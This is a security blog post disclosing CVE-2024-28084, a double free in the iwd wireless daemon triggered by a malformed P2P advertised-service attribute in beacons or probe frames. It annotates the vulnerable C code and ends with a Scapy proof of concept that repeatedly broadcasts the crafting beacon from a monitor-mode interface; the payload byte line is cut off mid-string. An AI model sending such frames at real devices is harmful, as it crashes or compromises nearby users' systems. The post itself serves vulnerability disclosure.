Skip to main content

Beacon Double Free in IWD

· 3 min read

CVE-2024-28084 Patched in Inet Wireless Daemon 2.16

While preparing some wifi security training, we found a double free vulnerability affecting APs and Stations running iwd. This issue was reported and patched with fixes available starting in version 2.16.

Supernetworks & Memory Safety

Writing secure native code is not simple nor easy. With SPR we're striving to build a project that's secure by default with memory safety throughout the stack. We're continuing to develop a softmac-based solution to eliminate protocol parsing using native code in firmware, drivers and userland. If you're interested in joining this effort let us know.

We also offer WiFi & Network Security training spanning from Digital Signals Processing to Cryptography to Protocol and Coding safety covering enterprise wifi and WPA2/3. If you're interested get in touch at [email protected]

A Double Free With Less Than 30 Bytes

The issue can be triggered remotely by sending a malformed Information Element inside of a beacon, a probe request, or a probe response. These are unauthenticated frames that a malicious attacker with physical proximity can send remotely.

The double free happens while parsing a P2P Information Elements (IEs) with a malformed ADVERTISED_SVC_INFO attribute. In the context of the flaw, remote double frees are especially powerful as they can lead to information leaks to help bypass ASLR and other hardening measures.

Technical details are below.

Code Overview

Under p2p_parse_probe_resp(), the ADVERTISED_SVC_INFO attribute is captured.

	r = p2p_parse_attrs(pdu, len,
REQUIRED(P2P_CAPABILITY, &d.capability),
OPTIONAL(EXTENDED_LISTEN_TIMING,
&d.listen_availability),
OPTIONAL(NOTICE_OF_ABSENCE, &d.notice_of_absence),
REQUIRED(P2P_DEVICE_INFO, &d.device_info),
OPTIONAL(P2P_GROUP_INFO, &d.group_clients),
OPTIONAL(ADVERTISED_SVC_INFO, &d.advertised_svcs),
-1);

if (r >= 0)
memcpy(out, &d, sizeof(d));
else
p2p_clear_probe_resp(&d); [1]

return r;
}

While parsing this attribute in extract_p2p_advertised_service_info(), errors in processing will result in the queue pointer allocated at [3] to be released [4]:

static bool extract_p2p_advertised_service_info(const uint8_t *attr, size_t len,
void *data)
{
struct l_queue **out = data;
...

while (len) {
struct p2p_advertised_service_descriptor *desc;
int name_len;

if (len < 7)
goto error;

name_len = attr[6];
if (len < 7u + name_len)
goto error;

if (!l_utf8_validate((const char *) attr + 7, name_len, NULL))
goto error;

if (!*out)
*out = l_queue_new(); [3]


error:
l_queue_destroy(*out, p2p_clear_advertised_service_descriptor); [4]

However when the parent function finishes, p2p_clear_probe_resp() will also free [2] the advertised_svcs data structures.

void p2p_clear_probe_resp(struct p2p_probe_resp *data)
{
p2p_clear_notice_of_absence_attr(&data->notice_of_absence);
p2p_clear_device_info_attr(&data->device_info);
p2p_clear_group_info_attr(&data->group_clients);
p2p_clear_advertised_service_info_attr(&data->advertised_svcs); [2]
}

Scapy POC

"""
CVE-2024-28084 beacon double free vulnerability due to error handling in extract_p2p_advertised_service_info
"""
import sys
import os
from scapy.layers.dot11 import *
from scapy.arch import str2mac, get_if_raw_hwaddr
from time import time, sleep

def if_hwaddr(iff):
return str2mac(get_if_raw_hwaddr(iff)[1])

def config_mon(iface, channel):
"""set the interface in monitor mode and then change channel using iw"""
os.system("ip link set dev %s down" % iface)
os.system("iw dev %s set type monitor" % iface)
os.system("ip link set dev %s up" % iface)
os.system("iw dev %s set channel %d" % (iface, channel))

class AP:
def __init__(self, mac=None, mode="stdio", iface="wlan0", channel=1):
self.channel = channel
self.iface = iface
self.mode = mode
if self.mode == "iface":
if not mac:
mac = if_hwaddr(iface)
config_mon(iface, channel)
if not mac:
raise Exception("Need a mac")
else:
self.mac = mac

def get_radiotap_header(self):
return RadioTap()

def dot11_beacon(self, bssid):
crash=b"\xdd\x07" + b"\x50\x6f\x9a" + b"\x09" + b"\x19\x08\x00" + b"\xdd\x10" + b"\x50\x6f\x9a" + b"\x09" +b"\x00\x00" + b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
evil_packet = (
self.get_radiotap_header()
/ Dot11(
subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=bssid, addr3=bssid
)
/ Dot11Beacon(cap=0x3101)
/ crash
)
self.sendp(evil_packet)

def run(self):
self.interval = 0.05
while True:
self.dot11_beacon(self.mac)
# Sleep
sleep(self.interval)
return

def sendp(self, packet, verbose=False):
if self.mode == "stdio":
x = packet.build()
sys.stdout.buffer.write(struct.pack("<L", len(x)) + x)
sys.stdout.buffer.flush()
return
assert self.mode == "iface"
sendp(packet, iface=self.iface, verbose=False)


if __name__ == "__main__":
ap = AP(mode="iface", iface="wlan1", channel=1)
ap.run()